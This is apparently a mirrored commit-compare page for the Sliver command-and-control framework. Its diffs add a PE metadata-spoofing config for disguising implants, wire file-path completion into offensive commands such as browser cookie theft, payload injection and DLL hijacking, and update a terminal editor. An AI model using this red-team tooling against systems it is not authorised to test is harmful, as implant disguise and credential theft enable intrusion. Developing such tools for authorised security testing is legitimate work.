mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
50
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
82d979436b | ||
|
|
d2632e75bd | ||
|
|
a55831fb44 | ||
|
|
39d4edec43 | ||
|
|
bbdb08e7a4 | ||
|
|
39b488bd25 | ||
|
|
e7b8a24534 | ||
|
|
17b9d611f8 | ||
|
|
ed9075d065 | ||
|
|
1f7221933d | ||
|
|
6333e0691a | ||
|
|
3bbaf80510 | ||
|
|
25726d8105 | ||
|
|
67e9a7f37f | ||
|
|
a5b6935da6 | ||
|
|
2e36f45bdf | ||
|
|
3e06a9d5ee | ||
|
|
952b2df49d | ||
|
|
9769f1bb57 | ||
|
|
f5f2c80ad3 | ||
|
|
bb2edf63cf | ||
|
|
cd711afe8a | ||
|
|
f9bbbb34bb | ||
|
|
64b91c56c0 | ||
|
|
a6c7867a26 | ||
|
|
7f25c3bb06 | ||
|
|
153cf29551 | ||
|
|
b85161e797 | ||
|
|
ed906fcffe | ||
|
|
3bbcf5697a | ||
|
|
4a425d2fd6 | ||
|
|
d0f752e118 | ||
|
|
7167621577 | ||
|
|
c3582fc203 | ||
|
|
07c95b203f | ||
|
|
958e44deef | ||
|
|
836395a2d6 | ||
|
|
1a7a1c9b2d | ||
|
|
4ba285796f | ||
|
|
0eb29ad9b8 | ||
|
|
ad8b329f85 | ||
|
|
c6206257b6 | ||
|
|
8bbf06c156 | ||
|
|
4d4eab998f | ||
|
|
c081f17380 | ||
|
|
fafbac3fa6 | ||
|
|
55a386ae1c | ||
|
|
1f553496e3 | ||
|
|
cd5db464e0 | ||
|
|
c8be5a5b1b |
No files matched your search
@@ -1,41 +1,18 @@
|
||||
# Repository Guidelines
|
||||
|
||||
## Project Structure & Module Organization
|
||||
- `client/` holds the CLI client and interactive commands.
|
||||
- `server/` contains the server runtime, C2 logic, configs, and web assets.
|
||||
- `implant/` is the implant runtime and transport implementations.
|
||||
- `protobuf/` stores protobuf definitions and generated Go types.
|
||||
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
|
||||
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
|
||||
- `vendor/` is the vendored Go dependency tree used by builds.
|
||||
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
|
||||
|
||||
## Build, Test, and Development Commands
|
||||
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
||||
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
||||
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
||||
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
||||
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
||||
- Go toolchain: the Makefile enforces Go >= 1.24.
|
||||
|
||||
## Coding Style & Naming Conventions
|
||||
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
||||
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
||||
- Do not import `server` packages from `client`.
|
||||
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
|
||||
|
||||
## Testing Guidelines
|
||||
- Go tests follow standard `_test.go` naming within each package.
|
||||
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
||||
- Add or update tests when behavior changes; some server packages run longer tests.
|
||||
|
||||
## Commit & Pull Request Guidelines
|
||||
- Commits must be signed for PRs to `master`; work in a feature branch.
|
||||
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
|
||||
- Changes to `vendor/` should be in a distinct commit.
|
||||
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
|
||||
|
||||
## Security Notes
|
||||
- Default to secure configuration; fail closed rather than open.
|
||||
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
|
||||
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
|
||||
@@ -26,7 +26,7 @@ K := $(foreach exec,$(EXECUTABLES),\
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 25
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
|
||||
@@ -124,4 +124,5 @@ under certain conditions; type 'licenses' for details.`)
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
_, _ = LoadSettings()
|
||||
_, _ = LoadSpoofMetadataConfig()
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const spoofMetadataFileName = "spoof-metadata.yaml"
|
||||
|
||||
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
|
||||
# Used by generate commands when --spoof-metadata is set.
|
||||
#
|
||||
# Fields that reference file content support either:
|
||||
# - path: read bytes from a local file path
|
||||
# - base64: inline base64 file content
|
||||
# Do not set both path and base64 for the same object.
|
||||
#
|
||||
# Example 1: Minimal path-based metadata cloning (most common)
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: ""
|
||||
|
||||
# Optional icon donor. Reserved for future standalone icon mutation support.
|
||||
icon:
|
||||
name: icon.ico
|
||||
path: ""
|
||||
|
||||
# Example 2: Inline/base64 source (uncomment and remove "path" above)
|
||||
# source:
|
||||
# name: metadata-source.exe
|
||||
# base64: "TVqQAAMAAAAEAAAA..."
|
||||
|
||||
# Example 3: Optional PE structure overrides (advanced)
|
||||
# Applied after metadata/resources are cloned from source.
|
||||
# Omitted fields keep cloned values.
|
||||
# resource_directory:
|
||||
# characteristics: 0
|
||||
# time_date_stamp: 0
|
||||
# major_version: 1
|
||||
# minor_version: 0
|
||||
# number_of_named_entries: 0
|
||||
# number_of_id_entries: 0
|
||||
#
|
||||
# resource_directory_entries:
|
||||
# - name: 1
|
||||
# offset_to_data: 0
|
||||
#
|
||||
# resource_data_entries:
|
||||
# - offset_to_data: 0
|
||||
# size: 0
|
||||
# code_page: 0
|
||||
# reserved: 0
|
||||
#
|
||||
# export_directory:
|
||||
# characteristics: 0
|
||||
# time_date_stamp: 0
|
||||
# major_version: 1
|
||||
# minor_version: 0
|
||||
# name: 0
|
||||
# base: 0
|
||||
# number_of_functions: 0
|
||||
# number_of_names: 0
|
||||
# address_of_functions: 0
|
||||
# address_of_names: 0
|
||||
# address_of_name_ordinals: 0
|
||||
`
|
||||
|
||||
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
|
||||
type SpoofMetadataConfig struct {
|
||||
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
|
||||
}
|
||||
|
||||
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
|
||||
type PESpoofMetadataConfig struct {
|
||||
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
|
||||
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
|
||||
|
||||
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
|
||||
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
|
||||
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
|
||||
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataDataSource points to bytes that should be sent to the server.
|
||||
// Either Path or Base64 may be set.
|
||||
type SpoofMetadataDataSource struct {
|
||||
Name string `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Path string `json:"path,omitempty" yaml:"path,omitempty"`
|
||||
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDirectory struct {
|
||||
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
|
||||
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDirectoryEntry struct {
|
||||
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDataEntry struct {
|
||||
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
|
||||
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
|
||||
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
|
||||
}
|
||||
|
||||
type ImageExportDirectory struct {
|
||||
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
|
||||
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
|
||||
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
|
||||
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
|
||||
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
|
||||
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataConfigPath returns the spoof metadata config file path.
|
||||
func SpoofMetadataConfigPath() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
return filepath.Join(rootDir, spoofMetadataFileName)
|
||||
}
|
||||
|
||||
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
|
||||
// if the file is missing.
|
||||
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
|
||||
config := defaultSpoofMetadataConfig()
|
||||
configPath := SpoofMetadataConfigPath()
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
if !os.IsNotExist(err) {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
data = []byte(defaultSpoofMetadataConfigTemplate)
|
||||
}
|
||||
if err := yaml.Unmarshal(data, config); err != nil {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
|
||||
normalizeSpoofMetadataConfig(config)
|
||||
return config, nil
|
||||
}
|
||||
|
||||
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
|
||||
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
|
||||
if config == nil {
|
||||
config = defaultSpoofMetadataConfig()
|
||||
}
|
||||
normalizeSpoofMetadataConfig(config)
|
||||
data, err := yaml.Marshal(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
|
||||
}
|
||||
|
||||
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
|
||||
if config.PE == nil {
|
||||
config.PE = &PESpoofMetadataConfig{}
|
||||
}
|
||||
if config.PE.Source == nil {
|
||||
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
|
||||
}
|
||||
if config.PE.Icon == nil {
|
||||
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
|
||||
}
|
||||
}
|
||||
|
||||
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
|
||||
return &SpoofMetadataConfig{
|
||||
PE: &PESpoofMetadataConfig{
|
||||
Source: &SpoofMetadataDataSource{
|
||||
Name: "metadata-source.exe",
|
||||
Path: "",
|
||||
},
|
||||
Icon: &SpoofMetadataDataSource{
|
||||
Name: "icon.ico",
|
||||
Path: "",
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package alias
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
aliasCmd.AddCommand(aliasLoadCmd)
|
||||
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
|
||||
|
||||
aliasInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr + " [ALIAS]",
|
||||
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
aliasCmd.AddCommand(aliasInstallCmd)
|
||||
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
|
||||
|
||||
aliasRemove := &cobra.Command{
|
||||
Use: consts.RmStr + " [ALIAS]",
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package c2profiles
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file", "f", "", "Path to C2 configuration file to import")
|
||||
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
|
||||
|
||||
exportC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.ExportC2ProfileStr,
|
||||
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
|
||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
|
||||
|
||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"net"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ClientInterfacesCompleter completes interface addresses on the client host.
|
||||
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
|
||||
}).Invoke(c).Prefix(prefix).ToA()
|
||||
})
|
||||
}
|
||||
|
||||
// LocalFilePathCompleter completes local file and directory paths.
|
||||
func LocalFilePathCompleter() carapace.Action {
|
||||
return carapace.ActionFiles().Tag("local file path")
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
|
||||
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
})
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
|
||||
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
|
||||
for _, name := range names {
|
||||
RegisterLocalFilePathFlagCompletion(cmd, name)
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
|
||||
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
|
||||
if cmd == nil || index < 0 {
|
||||
return
|
||||
}
|
||||
if cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
if len(args) == index {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
}
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
|
||||
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -61,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
|
||||
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
||||
|
||||
wordlistsRmCmd := &cobra.Command{
|
||||
@@ -95,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "rules name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
|
||||
rulesCmd.AddCommand(rulesAddCmd)
|
||||
|
||||
rulesRmCmd := &cobra.Command{
|
||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
|
||||
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
||||
|
||||
hcstat2RmCmd := &cobra.Command{
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||
})
|
||||
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
|
||||
credsAddCmd.AddCommand(credsAddFileCmd)
|
||||
|
||||
credsRmCmd := &cobra.Command{
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package cursed
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
|
||||
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
||||
|
||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
|
||||
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
||||
|
||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
|
||||
|
||||
cursedScreenshotCmd := &cobra.Command{
|
||||
Use: consts.ScreenshotStr,
|
||||
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
|
||||
|
||||
return []*cobra.Command{cursedCmd}
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package dllhijack
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["file"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
|
||||
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
||||
|
||||
return []*cobra.Command{dllhijackCmd}
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
"github.com/alecthomas/chroma/v2/lexers"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
@@ -17,8 +18,9 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -151,7 +153,15 @@ func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
||||
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
||||
program := tea.NewProgram(model, tea.WithAltScreen())
|
||||
width, height := 80, 24
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
width, height = w, h
|
||||
}
|
||||
program := tea.NewProgram(
|
||||
model,
|
||||
tea.WithWindowSize(width, height),
|
||||
tea.WithColorProfile(colorprofile.TrueColor),
|
||||
)
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
|
||||
@@ -6,11 +6,11 @@ import (
|
||||
"strings"
|
||||
"unicode"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"charm.land/lipgloss/v2"
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
"github.com/alecthomas/chroma/v2/formatters"
|
||||
"github.com/alecthomas/chroma/v2/styles"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
"github.com/charmbracelet/x/ansi"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
@@ -69,9 +69,12 @@ type editorModel struct {
|
||||
}
|
||||
|
||||
var (
|
||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
||||
lineStyle = lipgloss.NewStyle()
|
||||
lineStyle = lipgloss.NewStyle()
|
||||
)
|
||||
|
||||
const (
|
||||
ansiReverseOn = "\x1b[7m"
|
||||
ansiReverseOff = "\x1b[0m"
|
||||
)
|
||||
|
||||
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
|
||||
@@ -108,28 +111,29 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
m.height = msg.Height
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
case tea.KeyMsg:
|
||||
case tea.KeyPressMsg:
|
||||
if m.clearMessage {
|
||||
m.message = ""
|
||||
m.clearMessage = false
|
||||
}
|
||||
if msg.Type == tea.KeyCtrlC {
|
||||
key := msg.Key()
|
||||
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||
m.action = actionQuit
|
||||
return m, tea.Quit
|
||||
}
|
||||
switch m.mode {
|
||||
case modeCommand:
|
||||
return m.handleCommand(msg)
|
||||
return m.handleCommand(key)
|
||||
case modeInsert:
|
||||
return m.handleInsert(msg)
|
||||
return m.handleInsert(key)
|
||||
default:
|
||||
return m.handleNormal(msg)
|
||||
return m.handleNormal(key)
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) View() string {
|
||||
func (m *editorModel) View() tea.View {
|
||||
if m.width == 0 || m.height == 0 {
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
m.width = w
|
||||
@@ -152,19 +156,33 @@ func (m *editorModel) View() string {
|
||||
}
|
||||
|
||||
if m.height < 2 {
|
||||
return b.String()
|
||||
return editorView(b.String())
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
||||
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||
|
||||
if m.height < 3 {
|
||||
